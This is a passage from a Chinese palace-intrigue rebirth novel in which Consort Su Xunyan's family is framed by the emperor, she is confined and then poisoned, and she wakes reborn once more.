苏寻雁抬起手,轻轻擦去额边的泪,神色已恢复淡漠:“好,那就等到那一日,我们再谈。”
说罢,她毅然决然地离开,独留韩屹一人跌坐于御案之后,眼底满是落寞与懊悔。
走出大殿时,苏寻雁脸上已看不到半分悲切。
这些话,她前世就想说,却一直麻痹压抑自己,幻想着爱人能回心转意。
如今全部说出来,纵使没有得到想要的答案,心情也畅快了许多。
她本也没指望韩屹能告诉她,只是这样更印证了她的猜想。
韩屹一定隐瞒了什么。
而她今日这么一闹,这段时日他也没脸来找自己了,算是一举两得。
正低头思索,没留意到前方,与迎面而来的人撞了个正着。
还未等她反应过来,那人已经将她稳稳扶住,因着惯性,她一头撞入对方怀里,脸颊撞上硬挺的胸膛,微微发痛。
“娘娘,当心!”
头顶传来的这道声音熟悉又沉稳,她一下便猜出来人身份。
她抬头,恰好对上他低垂的眼眸,四目相对间,苏寻雁的脸颊微红,慌忙退开了半步,低声道:“多谢殿下!”
她正欲离开,韩元修却敏锐地捕捉到她眼底的那抹水光,低声问了句:“你怎么了?”
苏寻雁忙转过脸,轻轻摇头:“没什么,只是身体有些不适,先行告辞了。”说罢,她便转过身,匆匆离开。
二人的身体一触即离,可残留在掌中的淡香,与那一抹温软的触感,让他无意识地握紧双手。
过了半响,韩元修才压下心底的那抹悸动,抬脚朝殿内走去。
韩屹闻声抬起头,眼底带着一丝期盼,待看清来人,他瞬间没了好脸色,眸色一沉,冷声说:“朕既已答应皇叔先前所求,这次,皇叔又所谓何事?”
韩元修收敛心神,面无表情地对上韩屹的冷眼,语气也随之冷硬:“臣近日在核查户部账目时,发现几处款项有出入,特来请示陛下,此事该如何处置?”
韩屹握笔地手微微一顿,随即抬眸望过来:“既然查出问题,自当一查到底,皇叔还想向朕讨个特权不成?”
韩远修拱了拱手,神色不卑不亢:“陛下如此说,臣便可放手去查了。”
说罢,他也不再多做停留,转身走出大殿。
韩屹看着他的背影,眼底地怒意愈来愈深,冷声吩咐:“去,将他们都叫来。”
不多时,几名黑衣人从殿内的密道走出,齐齐跪下,行礼:“参见陛下!”
“过去了这些时日,你们可有进展?”
几人紧张地垂首,不敢言语,还是其中的领头,低声回道。
“禀陛下,属下已沿周边搜寻多日,未发现苏益之与其手下的踪迹,苏府那边也暂无异动,我们会继续监视,定能将人找到。”
韩屹猛地抓起桌上砚台,狠狠砸向几人,冷声呵斥:“一群没脑子的东西,除了搜,就不会动脑子想想?都给朕盯紧靖王,一举一动都要来报!若连这点小事都做不好,朕看你们也不必活了!”
他们齐声应道:“是。”
只垂在两侧的手,暴露了他们内心的慌张。
待众人退下,韩屹也没心思再批阅奏折,他手肘撑在桌面,手抚在额头,让自己冷静下来。
苏益之不用再找,人定是在韩元修手里,苏家已经知晓他真正的目的,若再耽搁下去,局势只会对他更不利。
可苏寻雁方才离去时,那副伤心欲绝的神情,扔在他脑海里挥之不去。
他眼底难得掠过一丝挣扎,半响,他还是将心头所有的不安与空落压了下去,眸光一沉,逐渐转为决然。
为成大局,牺牲区区一个苏家,又算得了什么。
思及此,他又扬声唤来大监,沉声道:“一切按原计划进行。”
大监闻言,眼底闪过不忍,可最终只化作一声叹息,躬身应下。
从大殿出来,他就转身吩咐手下:“速去联络安插在苏府的眼线,告诉他们计划启动,待事成,全都撤回来。”
“是。”
将一切安排妥当,大监才转身离去。
走着走着,他不经意地抬头,望向头顶那片清澈的湛蓝,这本该使人心情舒朗,可他的心,却没由来地涌起一股惆怅。
这头顶地天空,往后怕是再不会如此清澈。
——
这日一早,苏府便被官兵层层围住,来往行人不知发生了何事,皆纷纷停下来驻足,却又不敢靠的太近,只远远地朝这边观望,生怕被波及。
两个看门的小厮见此阵仗,吓得腿软,连滚带爬地跑向府内报信。
只是他们还没走几步,就被身后的官兵推到一旁:“走开,别碍事。”
数十名官兵陆续涌入苏府前院,随即左右分离,让出一条道来,领头那人缓步走出,目光扫过眼前的院落,扬声道。
“给我搜!上头可发话了,搜出证据,重重有赏!”
官兵们闻言精神一振,干劲十足,也不等此间主人出现,便大力踹开房门,肆意翻找起来。
苏夫人听到前院的嘈杂声,连忙赶了过来,见此阵仗,她心里先是一惊,很快又恢复平静。
“你们这是在做什么?”
领头那人回头看了她一眼,猜出她的身份,客气地拱了拱手:“是苏夫人吧?我们得到线报,说贵府内藏有贪腐军饷的罪证,奉命前来搜寻,还请夫人见谅。”
苏夫人闻言,气得指着他的鼻子,高声呵斥:“谁?这话是谁说的?你们有搜寻令吗?这是官员
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府邸,可不是你们能随意擅闯的!”
领头那人走进前厅,缓缓落座,抬眼看向她,语气不紧不慢道。
“夫人稍安勿躁,我们能来,自是上奉的意思,至于罪证,这不正在搜吗?咱们就耐心等等?”
苏夫人被气得不轻,她缓了缓,还是压抑不住怒意,愤愤不平道:“什么狗屁证据,还不是任凭你们捏造,真以为我们傻?朝廷如此对待忠臣良将,就不怕前线的将士们寒心?”
领头那人却满不在乎地笑了笑:“夫人别激动啊,您有什么怨,待会见了大人,自去与他说,我们几个不过是奉命行事,各自理解吧。”
说罢,他拿起桌上茶壶,给自己倒了一杯,慢慢喝起来。
很快,一个官兵跑了进来,朝领头那人回道:“头,属下已搜寻到证据。”
“好啊!”领头的闻言立马起身,接过纸条看了眼,便笑道:“苏夫人,看到了吧?证据确凿。”
他将密信往苏夫人眼前一递,便朝外扬声道:“将军苏益之参与军饷贪腐,证据确凿,苏府一干人等皆有嫌疑,全部压入大牢候审!”
苏府的侍女与小厮很快被控制,就连苏府的老太太与在此做客的几位表亲,都没能幸免。
苏老夫人被人从屋内赶出来,苏夫人见状,连忙上前阻拦,“等一下。”
她看向领头之人,语气平静:“老夫人年事已高,经不起折腾,还请几位放了她,还有这几位,只是府上的表亲,并不算苏府中人,你们无权关押。”
几个官兵刚想反驳,领头那人抬手,让他们退下。
他朝苏夫人拱手,语气依旧客气:“在下敬重苏将军为人,也愿意给苏夫人这个面子,老夫人与几位表亲就算了,其余人等押入大牢。”
苏家其他族人还不知是怎么回事,急急追问苏夫人:“夫人,这究竟是怎么回事?这些人凭什么抓我们?”
“大家别慌,这当中有些误会,待事情查清,他们自会放了我们。”苏夫人极力安抚众人。
领头那人却不耐烦地打断几人:“行了你们,有什么话,去牢里再说,都带走!”
苏夫人只来得及朝老夫人眨眨眼,便被他们押走了。
苏府很快被贴上封条,苏老夫人没了住处,只能先随几位表亲离开苏府。
她在其中一位表亲家安顿下来,想起苏夫人临走时的那个眼神,她连忙将几位表亲都召集过来,语气急切。
“此事蹊跷,我们得想办法将事情告诉寻雁才行。”
几位表亲闻言,却面露迟疑。
“老夫人,此事证据确凿,咱们就是去找了娘娘,也改变不了什么啊。”
“就是,贪墨军饷可是重罪,眼下咱们还是低调些,说不准什么时候,我们也会被牵连啊!”
苏老夫人却一脸不悦:“益之不会做这种事,我信他。朝廷定会还我们一个公道。”
“哎呀老太太,证据都搜出来了,你信他有什么用啊?苏将军失踪,苏府又搜出贪墨的证据,单凭我们几个,哪里能管得了啊。”
20. 第 20 章
他们也只是寻常百姓,生怕被牵连,吓得纷纷劝老太太打消这个念头。
苏老太太却说什么也不听,见几人仍坐着没动,她倏然起身,厉声道:“既然你们都不想帮忙,那我自己去,我怎么也是朝廷亲奉的一品诰命夫人,太后见了都得给三分薄面,我还就不信他们敢为难我。”
她拄着拐慢慢往外走,其他人见此,也只能无奈跟上。
先前那些官兵是看在苏夫人与苏老太太的面上,才没有为难他们,眼下情况未明,他们自是要紧跟老太太才行。
一行人走算来到宫门前,老太太缓步走到侍卫跟前,正色道:“烦请你们进去通传一声,就说苏家老太太有要事,特来求见陛下。”
侍卫见她穿着一身诰命服,连忙拱手行礼:“老夫人请稍后。”
很快大监刘路得知消息,连忙进殿向韩屹禀告。
“陛下,苏家老太太来了,人正在宫门外候着,说是要求见陛下。”
韩屹眼底掠过一丝不耐:“她来做什么?”
话音未落,他眸光微转,嘴角随即浮起一丝浅笑。
“也罢,去将人请进来,再派人去通知贵妃,就说朕政务繁忙,不便出面,有什么事,就等审理结果出来再说。”
刘路闻言,连忙领命出去吩咐。
苏寻雁也是刚刚才得知苏府情况,即便她早有心里准备,听到消息时,她的手还是不自觉颤抖,心慌的不行。
若不是韩元修一早传信与她,让她暂且忍耐,她恐怕早就冲进崇华殿,找韩屹当面对峙了。
可眼下让她这样干等着,也实在难熬。
犹豫许久,她还是拿起外衫披上,朝殿门走去,却正好被匆匆赶来的苏嬷嬷给拦住了。
“娘娘,老夫人进宫来了。眼下就在宫门外候着呢,她原是要求见陛下,可陛下不肯见她,让您亲自处理。”
“祖母进宫了?”
苏寻雁闻言,二话不说便急急向外冲。
苏嬷嬷也连忙跟上,只是还没走几步,就见到了缓步走来的苏家老太太。
“祖母,您怎么进宫来了?有没有哪里不舒服?”
苏寻雁连忙迎上去,眼底满是担忧。
如今已是深秋,早晚寒凉,祖母这般年岁的老人最是怕冷,方才却在宫门外站了那么久,身体怎能受得了。
她连忙上前搀扶,紧张的上下打量她,老太太却轻轻拍了拍她的手背,温声安抚。
“祖母身体还算硬朗,站一会儿不妨事,我心里实在担心你父亲啊。”说着,声音已经微微哽咽。
苏寻雁忙打起精神,轻声道:“祖母别急,我们进去说话。”
苏老太太微微颔首,二人一言不发的来到内室。她转头吩咐:“嬷嬷,让人守好殿门,不要让任何人靠近。”
苏嬷嬷郑重应下:“娘娘放心,老奴亲自去门外守着。”
她这才回身,走到祖母身旁:“祖母,今早府里都发生什么了?”
苏老太太叹了口气,缓缓开口:“今早,我刚用过早膳,院外就传来响声,我出去一看,见十几个官兵上门来,说是要搜你父亲贪墨的证据,你母亲想要阻拦,他们却拿出手令,没多久就搜出证据,要将我们都押入大牢。”
说到这里,她顿了顿,又说:“多亏你母亲反应快,将我与你的几个表舅保下,不然,我们都得关大牢啊。”
苏寻雁急急追问:“搜出的是什么证据?祖母可有看清?”
苏老太太无奈地摇头:“我当时离得远,没有看清楚,只见他们拿着一张纸,上面写了什么却不知。”
苏寻雁听后,脸上浮现出怒意:“单凭一张纸条,就能算做证据了?这也未免太武断了!”
“我本想凭着自己的诰命身份,当面与陛下陈情,谁知,他竟是连见都不肯见。”
“呵。”苏寻雁冷笑一声:“他那是心虚了!”
苏老太太闻言先是一愣,随即也猜测到了。
“你是说……”
“嗯。”她点了点头,眼底满是寒意:“那些所谓的证据,不过是他们想栽赃父亲,而此事便是韩屹所为。”
“他这是要做什么?”
苏老太太实在想不通,刚要再问,门外却响起苏嬷嬷的呵斥声。
“哎,你们这是要做什么?”
殿外传来一阵整齐地脚步声,紧接着,一名男子在殿外站定,隔着殿门行礼,语气恭敬。
“参见贵妃娘娘,属下陈鑫奉陛下之命前来,护卫娘娘周全,陛下的意思是在案件未审结前,娘娘暂居雁鸣宫内,勿要外出。”
苏寻雁闻言,再也压不住怒火,起身走到殿门前,猛地将门推开。
“陛下这是何意?案件还未审理,便要软禁本宫?”
此时殿外已被禁军层层围住,苏寻雁冷声质问那禁军首领陈鑫。
苏嬷嬷连忙上前,将苏寻雁护在身后。
陈鑫只垂眸答道:“娘娘恕罪,这是陛下的意思。”
“若本宫今日偏要出这个门呢?”
陈鑫躬身行礼,语气平静:“皇命难违,还请娘娘不要为难我等!”
殿内的苏老太太听到了门外的争执声,连忙出来查看,见外面站了乌泱泱一堆人,她就有些紧张:“阿雁,这是怎么了?”
听到祖母的声音,苏寻雁忙收敛怒意,转过身,扶苏老太太进屋。
“韩屹将我们软禁起来了。”她随即沉声道:“殿外被禁军包围,我们出不去,只能坐等外面消息了。”
苏老太太闻言就急了:“陛下怎会如此对我们?这当中可是有什么误会?”
苏寻雁摇了摇头,事到如今,有些事也不必瞒了。
她将这段时日发生的事都告诉了祖母,苏老太太听后,气得地锤了几下桌子。
“这韩氏子孙,实是没良心啊!我们苏家这些年为朝廷付出了多少心血,他为了夺权,竟对苏家下此狠手,此事,绝不能就这么算了!”
苏寻雁见她大口喘气,吓了一跳,连忙凑过去为她顺气。
“祖母您消消气,眼下我们处境被动,只能等了,您放心
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,靖王已经知晓此事,他定会帮我们脱困。”
苏老太太一听靖王,神色才缓和了几分:“靖王回京了?”
“是,靖王半个月前回京祭祖,已经接下贪腐案主理的位子。”
“好啊,若靖王来审理此案,那我们家就有救了。”苏老太太抚着心口,露出一抹安心的笑意。
见她面上有些疲累,苏嬷嬷忙上前劝道。
“时辰不早了,不如您先去歇息,有什么话,等明日再说?”
经她一提醒,苏寻雁也注意到祖母面上的疲惫之色,连忙点头附和:“嬷嬷说的是,祖母,您先去歇着,这里有我。”
到底是上了年纪,这一整日的奔波,加上情绪大起大落,苏老夫人也感觉到乏了。
“也罢,那我先去睡了,若有什么消息,你随时叫醒我啊!”
苏寻雁笑着点头:“好,祖母放心,我一定叫醒你。”
送走了祖母,她的脸色当即就沉了下来,转头问苏嬷嬷:“外面眼下是什么情况?靖王那边可有消息传来?”
苏嬷嬷无奈摇头:“眼下外面情况如何,咱们已无从得知,也没得到靖王那边的消息,娘娘,你说他会来救我们吗?”
苏寻雁抬头望向紧闭的殿门,缓缓开口:“雁鸣宫消息传递不出去,靖王就不会知晓我们的情况,眼下只能靠自己了。”
苏嬷嬷听后,眼底掠过一丝忧色。
原来娘娘方才那些话,都是安抚老太太的。
抬眸见她神色如常,就不由得有些好奇:“娘娘可是已经想好了应对之策?”
苏寻雁没回答,只是在心里暗暗思索。
靖王与她们断了联系,定会有所察觉,可他的身份到底敏感,无数双眼睛盯着,她不能牵连他,得自己想办法破局。
翌日,她将祖母安抚好,便从内室出来,朝苏嬷嬷使了个眼色,苏嬷嬷立马会意,转身便推开殿门,朝外急急喊道。
“不好了,娘娘发起高热了,你们快去寻御医来啊!”
守在门口的两名侍卫闻言,顿时就慌了,其中一个先反应过来,转身离去。
不多时,陈鑫匆匆赶来,见苏嬷嬷神色急切,满脸泪痕,也知情况危急,可他又怕事情有诈,连忙吩咐手下。
“这样,你们先找个人进去看看,若情况属实,即刻请御医过来,我这就去上报陛下。”
两名侍卫沉声应是。
他们很快在附近找来一个洒扫的宫女,那宫女一听苏寻雁病了,快步进殿查看。
进去没一会儿,她便急急出来,一脸焦急地说:“贵妃娘娘状况不好,你们快去请御医。”
侍卫们闻言,再不敢耽搁,连忙去请来御医。苏嬷嬷却只让御医进门,将其余宫人与侍卫挡在了殿门外。
“殿内皆是女眷,男子进殿多有不便,你们在外候着便是。”
众人闻言只得遵从,待殿门彻底合拢,苏嬷嬷便自身后制住御医,又用巾帕紧紧捂住他的嘴。
“别动,也别出声,若敢反抗,即刻要了你的命!”
21. 第 21 章
御医吓得立马举起手,拼命点头:“唔唔唔……”
见他还算老实,苏嬷嬷才将巾帕拿开,随即又拿出小刀抵在他的腰间,冷声警告:“你最好别出声,否则刀剑无眼。”
御医吓得浑身不自觉发抖,声音都带着几分颤抖:“好,好,你,别冲动啊,有什么事,咱们好好说啊。”
“进去!”
苏嬷嬷一把将御医推进内室,反手关上门,才收敛起那副冷酷地神情,语气缓和下来。
“事态紧急,刘御医还请见谅!”
刘御医见她突然朝自己躬身,吓得后退了两步,连连摆手。
“哦,无妨无妨,娘娘眼下情况如何,赶紧带我去看看吧?”
“刘御医,进前说话。”
苏寻雁掀开门帘,朝他招了招手。
见苏寻雁面色红润,眼眸明亮,根本不像是生病了,刘御医就在心里打鼓,却又不得不抬脚进去。
“微臣,参见贵妃娘娘。”
苏寻雁坐于上首,轻声说道:“不必多礼,眼下情况危机,本宫也是不得已才出此下策,刘御医,还请不要介怀。”
“娘娘严重了,微臣岂敢。”
苏嬷嬷这时又凑了过去,低声与他说明情况。
“苏家眼下陷入危局,娘娘被陛下软禁宫中,无法向外传递消息,只能劳烦刘御医了。”
说罢,她将手中纸条塞到刘御医的手中,随即朝他露出一抹淡笑。
刘御医吓得立马垂下头,声音极低地回道:“好,微臣这就将消息送出去。”
“另外,还请刘御医将本宫病重的消息告知陛下,就说本宫不日就要殒命。”
刘御医吓得立马跪倒在地,连连摇头:“还请娘娘饶命,这话臣哪里敢讲啊。”
见他吓得不轻,苏寻雁也不再为难他,只轻笑道。
“也罢,这张边关军防图,还请交于陛下,往后没了我苏家将领镇守边关,只怕北边的战事难平,还望陛下速择良将,莫让我苏家数代人的努力毁于一旦。”
刘御医起初还有些紧张,听完这番话,心中不免有些动容。
是啊,苏家祖上的功绩,他们都心知肚明,眼下苏家出事,他也觉得惋惜,替几位将军感到不值。
可圣意难违,他一个小小御医,又能做得了什么?
只能暗中帮他们传递个消息,带几句话罢了。
思及此,他连忙拱手应道:“娘娘请放心,臣定将此话与消息带到。”
苏寻雁起身,感激地福了福身:“多谢刘御医!”
“不敢,不敢。”刘御医连忙摆手后退。
将人送走,苏嬷嬷连忙折返回来,她还有些不放心,忍不住问道:“娘娘,这刘御医真的能帮咱们吗?您就这么信任他?”
苏寻雁把玩着手中的佛珠,一脸无所谓道:“无妨,只要他从这里出去,靖王的人必会盘问他,这样便够了。”
苏嬷嬷似懂非懂地点了点头。
只是,还不等刘御医将苏寻雁的嘱托带到,韩屹便已知晓全部,他脸色当即沉下来。
“她苏寻雁当真是能耐了,还敢威胁朕了!”
刘路虽不知其中发生了什么,却还是忍不住劝道。
“陛下息怒,贵妃娘娘许是关心则乱,陛下不妨先晾一晾她,待事情平息,再行追究?”
韩屹不耐烦地瞪了他一眼:“追究什么?她又没错,朕还能真治她的罪不成?”
刘路吓得连连告罪,再不敢多言。
自从陛下与贵妃闹了矛盾,脾气就愈发古怪,不知哪句话,就会戳中逆鳞,当值的宫人每日都提心吊胆,苦不堪言。
这时,一个宫人进来禀报:“陛下,刘御医在外求见。”
“不见。”韩屹头也不抬地说:“让他将图纸留下。”
不一会儿那宫人又去而复返,躬身回道:“陛下,刘御医说有要事求见陛下,还有那边防图,也要当面呈于陛下。”
“一个两个的,都不让人省心。”韩屹气得猛拍下桌子。
不等他下令,又一个宫人匆匆走进:“陛下,靖王殿下在外求见。”
“呵。”韩屹冷笑:“好啊,既然来了,那就喧吧。”眼底地怒火再也压不住。
韩元修先走进来,向韩屹躬身一礼:“臣听闻苏府搜出了苏将军贪墨的证据,可臣先后去刑部与督察院查问,皆是反馈未得到证据,不知此事,有何缘由?”
韩屹扫了他一眼,语气淡定:“证据在朕这里,苏益之贪墨军饷证据确凿,后续事宜由朕亲自定夺,就不劳烦皇叔了。”
“陛下此举,未免太过武断。先不论证据是否可信,眼下苏将军下落不明,是否该等人寻回,再行审理。”
刘御医这时疾步入内,向韩屹行过一礼,语气急切道:“陛下,这是苏贵妃命臣转交于陛下的,是北地的边防图。”
说罢,他从怀中取出图纸,交于刘路,由刘路呈上。
“苏家世代戍边,怄心沥血,苏将军之案,还请陛下三思啊!”
说罢,他又将苏寻雁先前所言转述了一遍,韩屹却不耐烦地抬手打断。
“朕知道了,退下罢。”
刘御医却跪了下来,语气恳切:“陛下,您切勿因小失大啊!”
“怎么?区区一个御医,也想插手前朝之事?”韩屹眼眸瞬间转冷。
刘御医吓得连连磕头告罪:“不不,臣,臣不敢,是臣僭越了,陛下恕罪。”
“呵。”韩元修忍不住冷笑一声。
韩屹转眸望向他:“皇叔有话直说。”
“哦,臣是觉得刘御医所言句句在理,再者,陛下当初给了臣一月之期,眼下期限未满,何必着急决断?”
韩屹目光冷冽如冰,久久未言,韩元修却不见丝毫畏惧,坦然与之对视,等着他做出决断。
气氛一时间僵持不下,大殿内的众人不禁屏住呼吸,像是犯人等待审判一般。
韩屹却突然轻笑起来,正要说什么,一个宫人急急走近,却被刘路给拦住了。
“陛下正在议事,有什么事,稍后再说,你先出去。”
那宫人却有些着急,抬头看向韩屹,希望他能看到自己
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,却不想,韩屹此时垂下眼眸,根本没看到他。
“行了,你先出去,待会再过来。”
宫人无奈,从大殿退出来,才与刘路小声说:“刘总管,事关贵妃,小的不敢耽搁啊!”
“贵妃?贵妃怎么了?你为何不早报?”
话音未落,他便急急转身,快步走到韩屹身侧,与他耳语了几句。
韩屹听罢,脸色骤变,他蓦然起身。朝二人摆手,只留下一句:“朕有要事,此事容后再议。”便匆匆离开。
韩元修见他突然如此急切,心底有种不好的预感,连忙追了出去,抓住先前那名宫人,便问道。
“到底出什么事了?”
宫人起初支支吾吾,一旁的刘路看不下去,主动说了:“是贵妃娘娘,她出事了!靖王殿下还是先回去吧!”
韩元修一听这话,连忙转身,往雁鸣宫的方向奔去。
刘路见状,还觉纳闷:‘靖王为何也如此着急?’
可眼下情况容不得他细想,他忙将几名御医叫了来,匆匆赶往雁鸣宫。
等众人赶到时,雁鸣宫内已是哭声震天,宫人们皆跪到在地,泣不成声。
韩屹先冲了进去,紧随其后的韩元修却僵在原地,怎么也迈不开步。
这时,殿内骤然响起苏嬷嬷一声凄厉的哭喊:“娘娘!”
这声音如刀刃,直直刺入韩元修的耳中,他猛的回神,脚步踉跄地朝内走去。
待看清眼前的景象,他如遭雷击般后退了一步。
周围仿佛瞬间沉寂下来,那些哭喊声、风声渐渐远去,他眼中唯有那抹缓缓倒下的单薄身影。
明明一切都在按计划推进,明明只差一步……为何,为何偏偏在此时?
几名御医分别上前看过,皆是摇头叹息,其中一名御医上前几步,朝韩屹拱手道。
“陛下,贵妃娘娘她……已经去了。”
韩屹的眼底瞬间红了,他猛地上前,抓住那御医的胳膊,平静的眼眸里难得露出一丝脆弱:“朕不听这些,救她,把她给朕救回来!”
御医疼得脸色发白,却也不敢挣脱,只能摇着头,小声哀求:“陛下,贵妃娘娘她已经气绝,回天乏术,还请您节哀啊!”
殿内其余御医也纷纷跪到在地,齐声哀道:“臣等无能,无力回天,请陛下节哀!”
随着这声声哀求,韩元修心底的最后一丝期待也被斩断,他闭了闭眼,再睁开时,眼眸已恢复平静。
他目光扫过殿内的几名御医,沉声问道:“谁能告诉本王,贵妃娘娘的死因为何?”
几名御医彼此对视一番,却谁都不敢将实情讲明,韩屹此时也回过神来,眼神狠厉地瞪向他们。
“还不快说,你们都发现了什么?”
先前那名上前禀告的御医,声音颤抖地回道:“禀陛下,殿下,贵妃娘娘的死因还尚未查明,但从种种迹象上看,应是中毒。”
“中毒?”
二人眼底同时掠过一丝惊疑,韩元修最先反应过来,厉声追问。
“你们凭何判断是中毒?”
22. 第 22 章
御医额角冒出冷汗,低声说:“臣等虽无实证,但贵妃娘娘嘴角渗出的黑血,还有特殊的气味,实是中毒之兆啊。”
话音未落,韩屹目光冷冽地扫过殿内众人:“今日都有谁进过内殿?”
宫人们吓得浑身颤抖,都不敢作声。
人群中,一个瘦小的宫女走了出来,她声音极轻地说:“奴婢午后在院中洒扫,瞧见知秋姐姐进殿来了,没多久便走了。”
“知秋?”
韩元修不清楚,韩屹却深知此人,他目光急急扫向殿内,却并不见知秋的身影。他扬声喝道:“知秋人在何处?”
宫人们皆摇头说不知,苏嬷嬷擦了擦脸上的泪,走了过来,看了一眼发言的小宫女,她压下心底的悲伤,强自镇定地说。
“知秋是娘娘身边的贴身侍女,也是苏府之人,老奴保证,凶手不会是她。”
三个时辰前。
一个不起眼的小宫女,在雁鸣宫外的角落里徘徊,她握住手中的瓷瓶,脑海里不禁浮现出林婉柔威胁的话语。
“若想保你爹娘无恙,就把这颗香丸放到她的香炉里,放心,这个只是让她出糗罢了。”说罢,她眼底闪过一抹精光:“事成之后,我会安排你出宫,与家人团聚。”
想到宫外的家人,小宫女终于下定决心,脚步轻巧地走进殿内,将香丸无声地投入香炉里,她看了眼苏寻雁,便匆匆跑走,生怕对方会察觉。
而苏寻雁此时还在思索当前的形势。刘御医肯答应帮忙,让她心下稍安。
韩屹提前出手,虽搅乱了他们原先的布局,却也让一切提前摊牌。
她索性将错就错,将对方那些阴谋诡计通通搬到台面上来。
她要让所有人都看清楚,坐在至高之位上的那个君王,心胸是何等的狭隘与不堪。
这时,身后突然传来一阵极轻的脚步声,她随即收回思绪,转身去看,却只看到宫装的一角。
她正要唤住那人,却闻到一股奇异地淡香,她只当对方是来点香的宫人,便没再理会,随手在书架上取了一卷古籍,便依靠在香妃塌上安静地翻阅起来。
事情发展到这一步,她反而不再惊慌,心也随之安静下来。
“娘娘可是得知了什么好消息?”
知秋手捧托盘,笑着走进来。
“难得见娘娘这般放松,快与奴婢说说,可是案子有了转机?”
苏寻雁却淡笑不语,目光随即落在托盘的汤盅上:“你这是又带了什么?”
知秋这才将桌上的汤盅打开,浓郁的香气瞬间蔓延整个房间。
“这是刚刚熬好的参鸡汤,娘娘您快趁热喝一碗,苏嬷嬷说您午膳就没怎么用了,这样下去可不行啊!”
苏寻雁看了一眼汤色清亮的鸡汤,想也没想便几口喝下,又将碗递还给知秋。
“鸡汤我都喝完了,现在放心了吧?忙去吧。”
知秋却不肯依,转身又从食盒里取出一盘小笼包,与几碟开胃小菜,将它们整齐的摆放在桌上。
“怎么还有?”
“刚喝汤哪行啊,娘娘将这盘小笼包吃了,奴婢再离开。”
苏寻雁无奈地看了她一眼,随即妥协:“好,我吃。”
她虽没什么胃口,就着几碟清口小菜,也勉强将那盘小笼包吃下。
知秋出去收拾了下桌案,回头见她果然将小笼包都吃完,才露出一抹淡笑。
“这样才对嘛,不然身体会没力气的。”
苏寻雁没好气的瞪了她一眼,知秋含笑将食盒临走。
窗外秋风渐起,窗户被刮得呼呼作响,苏寻雁正欲起身关窗,心头却突然一慌。
刚想唤人进来,一阵天旋地转,她险些站不稳,连忙扶住身旁的桌子,缓缓跌坐到椅子上。
她以为是自己近来没休息好,身体有些虚了。可她坐着歇了半响,只觉浑身无力,身体也愈发难受。
幸好苏嬷嬷这时走了进来,见她脸色不对,慌忙上前:“娘娘,您这是怎么了?是哪里不舒服啊?”
听到苏嬷嬷柔和地声音,她勉强恢复了几分清明,慢慢摇头,声音带着丝虚弱。
“嬷嬷,先,扶我去榻上,我有些,心慌。”
苏嬷嬷一听这话,连忙将她搀扶起来,往内室去。
眼看着就要走到床榻边,苏寻雁却突然双腿一软,整个人跌坐在地上。
苏嬷嬷吓了一跳,急忙将人扶到床榻上,见她脸色愈发苍白,颤声道:“娘娘,您先躺一会儿,老奴这就去唤御医来。”
苏寻雁刚想摇头说不必,可张了张口,发现自己竟什么都说不出。她也意识到自己的症状严重了,却只能无力的躺在床榻上。
苏嬷嬷见状,也不敢离开,忙朝殿外喊道:“来人啊,快来人。”
几名宫人闻声赶来,苏嬷嬷急切地说:“娘娘身体不适,速去请御医过来。”
几人闻言,立马跑了出去。
殿外守着的几名侍卫却只觉纳闷:“贵妃娘娘这是又不舒服了?不是才刚看过御医吗?”
宫人无心回答他的问题,匆忙进出,各自忙活。
苏寻雁此时已经昏睡过去,可身体的疼痛却令她不得安宁,冷汗很快浸湿里衣。
她仿佛置身于深海里,四周的水全都朝她涌来,压得她喘不过气,她无意识地张开嘴,想要呼救,却突然呕出一大口黑血。
苏嬷嬷惊得心慌,眼泪不住地往下掉,小心翼翼地问道:“娘娘,您别吓老奴啊,您这是怎么了?”
她慌得不行,手都不知该往哪儿放。
苏寻雁在昏沉间突然睁开了眼,她望了一眼苏嬷嬷,紧接着,又呕出一大口鲜血,人也彻底没了意识。
等御医赶到时,苏寻雁的呼吸已经极其微弱,御医急忙为她施针,却效果甚微。
见此情形,御医暗道不好,连忙转身,与苏嬷嬷说:“嬷嬷,快去请陛下过来,贵妃娘娘,怕是不行了。”
苏嬷嬷一脸不可置信:“不可能,你到底会不会治啊?娘娘方才还好好的,怎么突然就不行了?你有没有好好治?”
御医自知她心急,也没与她计较,转而与殿内的宫人说:“你
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们速去请陛下过来,娘娘怕是撑不了多久,若再出什么事,后果谁也承担不了。”
宫人闻言,不敢耽搁,急忙转身去了前殿。
御医则又返回内室,眼下他得想办法,拖延苏寻雁咽气的时间,最好是能撑到陛下到来,否则,他的小命定会不保。
苏寻雁虽处于昏迷状态,却也听得到御医方才说的话,她在心里暗自苦笑。
‘自己努力了这么久,终究还是败了吗?’
接着,又是一大口鲜血呕出。
韩屹与韩远修赶到时,她恰好呕出最后一口血。
她下意识地抬头,看着二人焦急又悲痛的脸,想说什么,手臂终是无力地垂落下去。
耳边的哭喊声只持续了一瞬,便又沉寂下来。
苏寻雁心下疑惑,缓缓睁开眼,熟悉的床幔最先映入眼帘,她却扔有些恍惚。
她不是死了吗?怎么又回到了这里?难道……
下一瞬,床幔忽然从外面轻轻掀起,一张她再熟悉不过的脸映入眼帘。
那人先是俯身,试了试她额头的温度,接着垂眸看向她,轻声询问:“娘娘,身体感觉怎么样?还难受吗?”
“嬷,嬷,我,我……”
出口的声音沙哑至极,苏寻雁一脸惊恐地捂住脖颈。她这是怎么了?
苏嬷嬷见她如此,却噗嗤一声笑了出来。
“没事的娘娘,先前您发了高热,今日才好转,嗓子难免会有不适,御医说了,休养几日便好,您先别开口说话了。”
苏寻雁听后更觉疑惑。
高热?她什么时候又高热了?难道先前自己是因高热才吐血的?
不对,御医不是说,她是中毒了吗?
难道,她……她又一次重生了?
思及此,她猛地从床榻上坐起,可动作太急,眼前一阵昏花。
好在,这一次并不似先前中毒那般眩晕难受,只短短一瞬,不适便很快褪去。目光又恢复清明,
苏嬷嬷却急得不行,连忙扶住她:“哎呀娘娘,您快些躺好,身体还未恢复,哪里能起身啊!”
苏寻雁无法,只能拉过苏嬷嬷的手,在她的掌心写下想问的问题。
‘嬷嬷,我今年该是多少年岁?’她一脸期待地看向苏嬷嬷。
苏嬷嬷却被她吓得不轻,连忙伸手,又试了试她的额头。
随即背过身,小声嘀咕:“试着也不烧了啊,怎么还说起胡话来了?”
苏寻雁无奈地笑了,随即又拉过苏嬷嬷的手,一笔一划的写道。
‘嬷嬷放心,我没有不适。你先告诉我,眼下我是多少岁?’
再次重生给她的惊喜不小,眼下她只想尽快确认,自己是否还是二十岁,是否还可以将结局改变。
苏嬷嬷这才叹道:“这高热当真是厉害,您竟连自己的年岁都忘了,您今年十九,几日前才刚过完生辰呢。”
